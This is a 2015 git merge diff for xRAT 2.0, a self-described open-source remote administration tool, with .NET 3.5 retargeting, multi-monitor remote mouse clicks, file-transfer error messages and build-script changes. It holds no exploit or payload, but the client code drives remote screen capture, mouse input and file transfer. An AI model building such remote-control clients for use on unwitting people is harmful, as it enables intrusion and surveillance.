Merge branch 'master' into dev

This commit is contained in:
MaxXor 2015-05-22 22:47:12 +02:00
commit 9d293a7574
27 changed files with 115 additions and 165 deletions

View File

@ -8,7 +8,7 @@
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>xClient.Tests</RootNamespace>
<AssemblyName>Client.Tests</AssemblyName>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<ProjectTypeGuids>{3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}</ProjectTypeGuids>
<VisualStudioVersion Condition="'$(VisualStudioVersion)' == ''">10.0</VisualStudioVersion>

View File

@ -10,8 +10,9 @@
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>xClient</RootNamespace>
<AssemblyName>Client</AssemblyName>
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<TargetFrameworkProfile>Client</TargetFrameworkProfile>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x86' ">
<PlatformTarget>AnyCPU</PlatformTarget>

View File

@ -344,7 +344,10 @@ namespace xClient.Core
bool isAdded = false;
foreach (SubType subType in RuntimeTypeModel.Default[parent].GetSubtypes())
if (subType.DerivedType.Type == type)
{
isAdded = true;
break;
}
if (!isAdded)
RuntimeTypeModel.Default[parent].AddSubType(_typeIndex += 1, type);

View File

@ -66,26 +66,31 @@ namespace xClient.Core.Commands
public static void HandleMouseClick(Packets.ServerPackets.MouseClick command, Client client)
{
Screen[] allScreens = Screen.AllScreens;
int offsetX = allScreens[command.MonitorIndex].Bounds.X;
int offsetY = allScreens[command.MonitorIndex].Bounds.Y;
Point p = new Point(command.X + offsetX, command.Y + offsetY);
if (command.LeftClick)
{
SetCursorPos(command.X, command.Y);
mouse_event(MOUSEEVENTF_LEFTDOWN, command.X, command.Y, 0, 0);
mouse_event(MOUSEEVENTF_LEFTUP, command.X, command.Y, 0, 0);
SetCursorPos(p.X, p.Y);
mouse_event(MOUSEEVENTF_LEFTDOWN, p.X, p.Y, 0, 0);
mouse_event(MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, 0);
if (command.DoubleClick)
{
mouse_event(MOUSEEVENTF_LEFTDOWN, command.X, command.Y, 0, 0);
mouse_event(MOUSEEVENTF_LEFTUP, command.X, command.Y, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN, p.X, p.Y, 0, 0);
mouse_event(MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, 0);
}
}
else
{
SetCursorPos(command.X, command.Y);
mouse_event(MOUSEEVENTF_RIGHTDOWN, command.X, command.Y, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTUP, command.X, command.Y, 0, 0);
SetCursorPos(p.X, p.Y);
mouse_event(MOUSEEVENTF_RIGHTDOWN, p.X, p.Y, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTUP, p.X, p.Y, 0, 0);
if (command.DoubleClick)
{
mouse_event(MOUSEEVENTF_RIGHTDOWN, command.X, command.Y, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTUP, command.X, command.Y, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN, p.X, p.Y, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTUP, p.X, p.Y, 0, 0);
}
}
}

View File

@ -29,7 +29,6 @@ namespace xClient.Core.Extensions
/// <param name="keepAliveInterval">Specifies how often TCP repeats keep-alive transmissions when no response is received. TCP sends keep-alive transmissions to verify that idle connections are still active. This prevents TCP from inadvertently disconnecting active lines.</param>
/// <param name="keepAliveTime">Specifies how often TCP sends keep-alive transmissions. TCP sends keep-alive transmissions to verify that an idle connection is still active. This entry is used when the remote system is responding to TCP. Otherwise, the interval between transmissions is determined by the value of the keepAliveInterval entry.</param>
public static void SetKeepAliveEx(this Socket socket, uint keepAliveInterval, uint keepAliveTime)
//extension removed, Missing System.Core.dll which requires .NET FW 3.5
{
var keepAlive = new TcpKeepAlive
{

View File

@ -24,17 +24,21 @@ namespace xClient.Core.Helper
if (!fInfo.Exists)
throw new FileNotFoundException();
this._maxBlocks = (int) Math.Ceiling(fInfo.Length/(double) MAX_PACKET_SIZE);
this._maxBlocks = (int)Math.Ceiling(fInfo.Length / (double)MAX_PACKET_SIZE);
}
catch (UnauthorizedAccessException)
{
this._maxBlocks = -1;
this.LastError = "Access denied";
}
catch (IOException)
catch (IOException ex)
{
this._maxBlocks = -1;
this.LastError = "File not found";
if (ex is FileNotFoundException)
this.LastError = "File not found";
if (ex is PathTooLongException)
this.LastError = "Path is too long";
}
return this._maxBlocks;
@ -68,7 +72,7 @@ namespace xClient.Core.Helper
}
else
{
fStream.Seek(blockNumber*MAX_PACKET_SIZE, SeekOrigin.Begin);
fStream.Seek(blockNumber * MAX_PACKET_SIZE, SeekOrigin.Begin);
readBytes = new byte[this.GetSize(fStream.Length - fStream.Position)];
fStream.Read(readBytes, 0, readBytes.Length);
}
@ -86,10 +90,18 @@ namespace xClient.Core.Helper
readBytes = new byte[0];
this.LastError = "Access denied";
}
catch (IOException)
catch (IOException ex)
{
readBytes = new byte[0];
this.LastError = "File not found";
if (ex is FileNotFoundException)
this.LastError = "File not found";
else if (ex is DirectoryNotFoundException)
this.LastError = "Directory not found";
else if (ex is PathTooLongException)
this.LastError = "Path is too long";
else
this.LastError = "Unable to read from File Stream";
}
return false;
@ -125,9 +137,16 @@ namespace xClient.Core.Helper
{
this.LastError = "Access denied";
}
catch (IOException)
catch (IOException ex)
{
this.LastError = "File not found";
if (ex is FileNotFoundException)
this.LastError = "File not found";
else if (ex is DirectoryNotFoundException)
this.LastError = "Directory not found";
else if (ex is PathTooLongException)
this.LastError = "Path is too long";
else
this.LastError = "Unable to write to File Stream";
}
return false;

View File

@ -1,9 +1,9 @@
using System;
using System.Drawing;
using System.IO;
using System.Text;
using System.Text.RegularExpressions;
using System.Windows.Forms;
using System.Drawing.Imaging;
namespace xClient.Core.Helper
{
@ -33,7 +33,7 @@ namespace xClient.Core.Helper
public static Bitmap GetDesktop(int screenNumber)
{
var bounds = Screen.AllScreens[screenNumber].Bounds;
var screenshot = new Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
var screenshot = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
using (Graphics graph = Graphics.FromImage(screenshot))
{
graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy);
@ -41,117 +41,6 @@ namespace xClient.Core.Helper
}
}
public static unsafe Bitmap GetDiffDesktop(Bitmap bmp, Bitmap bmp2)
{
if (bmp.Width != bmp2.Width || bmp.Height != bmp2.Height)
throw new Exception("Sizes must be equal.");
Bitmap bmpRes = null;
System.Drawing.Imaging.BitmapData bmData = null;
System.Drawing.Imaging.BitmapData bmData2 = null;
System.Drawing.Imaging.BitmapData bmDataRes = null;
try
{
bmpRes = new Bitmap(bmp.Width, bmp.Height);
bmData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height),
System.Drawing.Imaging.ImageLockMode.ReadOnly, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
bmData2 = bmp2.LockBits(new Rectangle(0, 0, bmp2.Width, bmp2.Height),
System.Drawing.Imaging.ImageLockMode.ReadOnly, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
bmDataRes = bmpRes.LockBits(new Rectangle(0, 0, bmpRes.Width, bmpRes.Height),
System.Drawing.Imaging.ImageLockMode.ReadWrite, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
IntPtr scan0 = bmData.Scan0;
IntPtr scan02 = bmData2.Scan0;
IntPtr scan0Res = bmDataRes.Scan0;
int stride = bmData.Stride;
int stride2 = bmData2.Stride;
int strideRes = bmDataRes.Stride;
int nWidth = bmp.Width;
int nHeight = bmp.Height;
for (int y = 0; y < nHeight; y++)
{
//define the pointers inside the first loop for parallelizing
byte* p = (byte*) scan0.ToPointer();
p += y*stride;
byte* p2 = (byte*) scan02.ToPointer();
p2 += y*stride2;
byte* pRes = (byte*) scan0Res.ToPointer();
pRes += y*strideRes;
for (int x = 0; x < nWidth; x++)
{
//always get the complete pixel when differences are found
if (p[0] != p2[0] || p[1] != p2[1] || p[2] != p2[2])
{
pRes[0] = p2[0];
pRes[1] = p2[1];
pRes[2] = p2[2];
//alpha (opacity)
pRes[3] = p2[3];
}
p += 4;
p2 += 4;
pRes += 4;
}
}
bmp.UnlockBits(bmData);
bmp2.UnlockBits(bmData2);
bmpRes.UnlockBits(bmDataRes);
}
catch
{
if (bmData != null)
{
try
{
bmp.UnlockBits(bmData);
}
catch
{
}
}
if (bmData2 != null)
{
try
{
bmp2.UnlockBits(bmData2);
}
catch
{
}
}
if (bmDataRes != null)
{
try
{
bmpRes.UnlockBits(bmDataRes);
}
catch
{
}
}
if (bmpRes != null)
{
bmpRes.Dispose();
bmpRes = null;
}
}
return bmpRes;
}
public static bool IsWindowsXP()
{
var osVersion = Environment.OSVersion.Version;

View File

@ -17,16 +17,20 @@ namespace xClient.Core.Packets.ServerPackets
[ProtoMember(4)]
public int Y { get; set; }
[ProtoMember(5)]
public int MonitorIndex { get; set; }
public MouseClick()
{
}
public MouseClick(bool leftclick, bool doubleclick, int x, int y)
public MouseClick(bool leftclick, bool doubleclick, int x, int y, int monitorIndex)
{
this.LeftClick = leftclick;
this.DoubleClick = doubleclick;
this.X = x;
this.Y = y;
this.MonitorIndex = monitorIndex;
}
public void Execute(Client client)

View File

@ -1,7 +1,7 @@
//------------------------------------------------------------------------------
// <auto-generated>
// Dieser Code wurde von einem Tool generiert.
// Laufzeitversion:4.0.30319.18444
// Laufzeitversion:4.0.30319.34209
//
// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn
// der Code erneut generiert wird.

View File

@ -1,7 +1,7 @@
//------------------------------------------------------------------------------
// <auto-generated>
// Dieser Code wurde von einem Tool generiert.
// Laufzeitversion:4.0.30319.18444
// Laufzeitversion:4.0.30319.34209
//
// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn
// der Code erneut generiert wird.

View File

@ -4,11 +4,11 @@ xRAT 2.0
**Free, Open-Source Remote Administration Tool**
xRAT 2.0 is a fast and light-weight Remote Administration Tool coded in C# (using .NET Framework 2.0).
xRAT 2.0 is a fast and light-weight Remote Administration Tool coded in C# (using [.NET Framework 3.5 Client Profile](https://www.microsoft.com/en-US/download/details.aspx?id=14037)).
Requirements
---
* .NET Framework 2.0
* .NET Framework 3.5 Client Profile
Features
---

View File

@ -8,7 +8,7 @@
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>xServer.Tests</RootNamespace>
<AssemblyName>Server.Tests</AssemblyName>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<ProjectTypeGuids>{3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}</ProjectTypeGuids>
<VisualStudioVersion Condition="'$(VisualStudioVersion)' == ''">10.0</VisualStudioVersion>

View File

@ -318,7 +318,10 @@ namespace xServer.Core
bool isAdded = false;
foreach (SubType subType in RuntimeTypeModel.Default[parent].GetSubtypes())
if (subType.DerivedType.Type == type)
{
isAdded = true;
break;
}
if (!isAdded)
RuntimeTypeModel.Default[parent].AddSubType(_typeIndex += 1, type);

View File

@ -152,7 +152,7 @@ namespace xServer.Core.Commands
client.Value.FrmSi.lstSystem.Items.Add(lviItem);
}
ListViewExtensions.AutosizeColumns(client.Value.FrmSi.lstSystem);
client.Value.FrmSi.lstSystem.AutosizeColumns();
});
}
catch

View File

@ -29,7 +29,6 @@ namespace xServer.Core.Extensions
/// <param name="keepAliveInterval">Specifies how often TCP repeats keep-alive transmissions when no response is received. TCP sends keep-alive transmissions to verify that idle connections are still active. This prevents TCP from inadvertently disconnecting active lines.</param>
/// <param name="keepAliveTime">Specifies how often TCP sends keep-alive transmissions. TCP sends keep-alive transmissions to verify that an idle connection is still active. This entry is used when the remote system is responding to TCP. Otherwise, the interval between transmissions is determined by the value of the keepAliveInterval entry.</param>
public static void SetKeepAliveEx(this Socket socket, uint keepAliveInterval, uint keepAliveTime)
//extension removed, Missing System.Core.dll which requires .NET FW 3.5
{
var keepAlive = new TcpKeepAlive
{

View File

@ -24,17 +24,21 @@ namespace xServer.Core.Helper
if (!fInfo.Exists)
throw new FileNotFoundException();
this._maxBlocks = (int) Math.Ceiling(fInfo.Length/(double) MAX_PACKET_SIZE);
this._maxBlocks = (int)Math.Ceiling(fInfo.Length / (double)MAX_PACKET_SIZE);
}
catch (UnauthorizedAccessException)
{
this._maxBlocks = -1;
this.LastError = "Access denied";
}
catch (IOException)
catch (IOException ex)
{
this._maxBlocks = -1;
this.LastError = "File not found";
if (ex is FileNotFoundException)
this.LastError = "File not found";
if (ex is PathTooLongException)
this.LastError = "Path is too long";
}
return this._maxBlocks;
@ -86,10 +90,18 @@ namespace xServer.Core.Helper
readBytes = new byte[0];
this.LastError = "Access denied";
}
catch (IOException)
catch (IOException ex)
{
readBytes = new byte[0];
this.LastError = "File not found";
if (ex is FileNotFoundException)
this.LastError = "File not found";
else if (ex is DirectoryNotFoundException)
this.LastError = "Directory not found";
else if (ex is PathTooLongException)
this.LastError = "Path is too long";
else
this.LastError = "Unable to read from File Stream";
}
return false;
@ -125,9 +137,16 @@ namespace xServer.Core.Helper
{
this.LastError = "Access denied";
}
catch (IOException)
catch (IOException ex)
{
this.LastError = "File not found";
if (ex is FileNotFoundException)
this.LastError = "File not found";
else if (ex is DirectoryNotFoundException)
this.LastError = "Directory not found";
else if (ex is PathTooLongException)
this.LastError = "Path is too long";
else
this.LastError = "Unable to write to File Stream";
}
return false;

View File

@ -1,6 +1,4 @@
using System;
using System.Drawing;
using System.IO;
using System.Text;
namespace xServer.Core.Helper
@ -9,6 +7,7 @@ namespace xServer.Core.Helper
{
private const string CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
private static readonly Random _rnd = new Random(Environment.TickCount);
private static readonly string[] _sizes = {"B", "KB", "MB", "GB"};
public static string GetRandomFilename(int length, string extension)
{
@ -30,15 +29,14 @@ namespace xServer.Core.Helper
public static string GetDataSize(long size)
{
string[] sizes = {"B", "KB", "MB", "GB"};
double len = size;
int order = 0;
while (len >= 1024 && order + 1 < sizes.Length)
while (len >= 1024 && order + 1 < _sizes.Length)
{
order++;
len = len/1024;
}
return string.Format("{0:0.##} {1}", len, sizes[order]);
return string.Format("{0:0.##} {1}", len, _sizes[order]);
}
public static int GetFileIcon(string extension)

View File

@ -17,16 +17,20 @@ namespace xServer.Core.Packets.ServerPackets
[ProtoMember(4)]
public int Y { get; set; }
[ProtoMember(5)]
public int MonitorIndex { get; set; }
public MouseClick()
{
}
public MouseClick(bool leftclick, bool doubleclick, int x, int y)
public MouseClick(bool leftclick, bool doubleclick, int x, int y, int monitorIndex)
{
this.LeftClick = leftclick;
this.DoubleClick = doubleclick;
this.X = x;
this.Y = y;
this.MonitorIndex = monitorIndex;
}
public void Execute(Client client)

View File

@ -89,4 +89,4 @@ namespace xServer.Forms
lstLogs.Sort();
}
}
}
}

View File

@ -164,8 +164,10 @@ namespace xServer.Forms
bool left = (e.Button == MouseButtons.Left);
int selectedMonitorIndex = cbMonitors.SelectedIndex;
if (_connectClient != null)
new Core.Packets.ServerPackets.MouseClick(left, false, remote_x, remote_y).Execute(_connectClient);
new Core.Packets.ServerPackets.MouseClick(left, false, remote_x, remote_y, selectedMonitorIndex).Execute(_connectClient);
}
}
@ -181,8 +183,10 @@ namespace xServer.Forms
bool left = (e.Button == MouseButtons.Left);
int selectedMonitorIndex = cbMonitors.SelectedIndex;
if (_connectClient != null)
new Core.Packets.ServerPackets.MouseClick(left, true, remote_x, remote_y).Execute(_connectClient);
new Core.Packets.ServerPackets.MouseClick(left, true, remote_x, remote_y, selectedMonitorIndex).Execute(_connectClient);
}
}

View File

@ -117,7 +117,7 @@
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="restart" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\restart.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>

View File

@ -1,7 +1,7 @@
//------------------------------------------------------------------------------
// <auto-generated>
// Dieser Code wurde von einem Tool generiert.
// Laufzeitversion:4.0.30319.18444
// Laufzeitversion:4.0.30319.34209
//
// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn
// der Code erneut generiert wird.

View File

@ -10,8 +10,9 @@
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>xServer</RootNamespace>
<AssemblyName>xRAT 2</AssemblyName>
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<TargetFrameworkProfile>Client</TargetFrameworkProfile>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x86' ">
<PlatformTarget>AnyCPU</PlatformTarget>
@ -46,7 +47,8 @@
<ApplicationIcon>xRAT-64x64.ico</ApplicationIcon>
</PropertyGroup>
<ItemGroup>
<Reference Include="Mono.Cecil">
<Reference Include="Mono.Cecil, Version=0.9.5.0, Culture=neutral, PublicKeyToken=0738eb9f132ed756, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>lib\Mono.Cecil.dll</HintPath>
</Reference>
<Reference Include="System" />
@ -54,7 +56,8 @@
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
<Reference Include="Vestris.ResourceLib">
<Reference Include="Vestris.ResourceLib, Version=1.4.724.0, Culture=neutral, PublicKeyToken=ec632d8ba5e5750d, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>lib\Vestris.ResourceLib.dll</HintPath>
</Reference>
</ItemGroup>

Binary file not shown.

Binary file not shown.

View File

@ -1 +1 @@
"%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "%~dp0\xRAT 2.sln" /t:Build /p:Configuration=Debug /p:TargetFramework=v2.0
"%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "%~dp0\xRAT 2.sln" /t:Build /p:Configuration=Debug

View File

@ -1 +1 @@
"%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "%~dp0\xRAT 2.sln" /t:Build /p:Configuration=Release /p:TargetFramework=v2.0
"%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "%~dp0\xRAT 2.sln" /t:Build /p:Configuration=Release